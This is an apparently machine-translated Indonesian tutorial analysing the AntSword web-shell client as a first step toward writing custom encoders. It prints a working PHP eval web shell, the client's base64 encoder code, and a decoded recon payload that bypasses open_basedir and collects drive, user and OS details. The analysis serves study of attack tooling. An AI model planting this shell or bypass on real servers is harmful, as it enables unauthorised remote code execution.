Berbagi teknologi

Menulis Encoder Pedang Semut—Bagian 1

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

mengacu pada

Encoder yang mengagumkan

olehPertamaMisalnya
kuda Troya

<?php @eval(base64_decode($_POST['ant']));?>
  • 1

Dapatkan konten parameter ant, lalu dekode base64 dan jalankan
Pembuat enkode

let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
  • 1
  • 2
  • 3

Hasilkan nomor acak randomID, enkode data base64 dan teruskan ke parameter randomID.
Kemudianeval(base64_decode($_POST[${randomID}]));die();Lakukan pengkodean base64

Di sisi lain
Trojan mendapatkannya terlebih dahuludata[pwd]Itu adalahantNilai diperoleh setelah decoding base64

eval(base64_decode($_POST[${randomID}]));die();
  • 1

Faktanya, Trojan menjadi

<?php @eval(eval(base64_decode($_POST[${randomID}]));die(););?>
  • 1

Asumsikan bahwa nomor acak yang dihasilkan randomID adalahA, maka itu adalah

<?php @eval(eval(base64_decode($_POST[A]));die(););?>
  • 1

Pada langkah kedua dari kuda Troya, yaitudata[randomID], itu adalah$_POST[${randomID}], yaitu di sini$_POST[A] Sudah di-encode base64, jadi perlu di-decode satu kali. Lalu timbul pertanyaan, kenapa perlu dieksekusi dua kali? ? ?Maka Anda harus memeriksanya dari paket lalu lintas

Tidak ada demonstrasi di sini tentang pembangunan lingkungan. Xiaopi, Yijian, dan burpsuite sudah cukup.
Masukkan deskripsi gambar di sini

Dekode basis paket data

ant=eval(base64_decode($_POST[_0x36c084a15bf7d]));die();
  • 1
base64_decode($_POST[_0x36c084a15bf7d])

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.f19ddead";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "59ee6d"."26ac18";echo @asenc($output);echo "3f4b"."0edf4";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

Kemudian menjadieval("eval(base64_decode($_POST[_0x36c084a15bf7d]);die();)")

Lihatlah paragraf besar ini dan selesaikan

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
    if(!@is_writable($item)){
        continue;
    };
    $tmdir=$item."/.f19ddead";
    @mkdir($tmdir);
    if(!@file_exists($tmdir)){
        continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr=@preg_split("/\\|//",$tmdir);
    for($i=0;$i<sizeof($cntarr);$i++){
        @chdir("..");
    };
    @ini_set("open_basedir","/");
    @rmdir($tmdir);break;};
};;
function asenc($out){
    return $out;
};
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "59ee6d"."26ac18";
    echo @asenc($output);
    echo "3f4b"."0edf4";
}
ob_start();
try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z")as $L)
        if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/";
    }
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();$R.=php_uname();
    $R.="	{$s}";
    echo $R;;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54

Tentu saja saya tidak tahu banyak fungsinya, tapi ada AI!

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
    if(!@is_writable($item)){
        continue;
    };
    $tmdir=$item."/.f19ddead";
    @mkdir($tmdir);
    if(!@file_exists($tmdir)){
        continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr=@preg_split("/\\|//",$tmdir);
    for($i=0;$i<sizeof($cntarr);$i++){
        @chdir("..");
    };
    @ini_set("open_basedir","/");
    @rmdir($tmdir);break;};
};;
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25

Paragraf ini adalah
Matikan tampilan kesalahan
Tetapkan waktu eksekusi skrip
Dapatkan nilai konfigurasi open_basedir dan lewatiopen_basedirPembatasan atribut

try{
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")
    $D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z")as $L)
        if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/";
    }
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    $R.=php_uname();
    $R.="	{$s}";
    echo $R;;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

Bagian ini mendapatkan direktori tempat skrip saat ini berada dan menginisialisasi parameter string.$R, melintasi huruf drive, CZ meledakkan huruf drive, menggunakan fungsi posix_getegid untuk mendapatkan nama pengguna, grup pengguna, dan konten lain dari pengguna yang menjalankan skrip, mendeteksi$uApakah ada. Jika tidak ada, gunakan fungsi get_current_user() untuk mendapatkannya. Gunakan php_uname() untuk mendapatkan informasi sistem operasi.

Sangat jelas pada titik ini. Kode php ini memperoleh direktori eksekusi saat ini, huruf drive, pengguna, dan informasi sistem operasi Trojan Karena penggunaan mekanisme caching, di bagian akhir
Lakukan keluaran kolektif dalam fungsi asoutput(),

Kirim paket permintaan di atas ke modul repeater dan temukan bahwa hasil yang dikembalikan sama

Tapi ini masih belum bisa menjelaskan mengapa ada dua eval. Faktanya, konten yang diteruskan oleh ant termasuk dalam string. Hanya ketika lapisan eval ditempatkan di luar, eval di dalamnya akan dieksekusi sebagai sebuah fungsi.

<?php  
eval("eval('echo 1+1;');die();")
?>
  • 1
  • 2
  • 3

Mengubah

<?php  
eval('eval(base64_decode("ZWNobyAiYWFhIjs="));die();')
?>
  • 1
  • 2
  • 3

Masukkan deskripsi gambar di sini
Hasil keluaran akhir adalah 2, yang berarti eval bagian luar mengubah string menjadi fungsi untuk dieksekusi, dan lapisan dalam eval mengeksekusi konten.

Jadi dalam contoh ini, eval dari Trojan digunakan untuk mengaktifkan fungsi eval dalam paket permintaan, sehingga mencapai efek eksekusi perintah.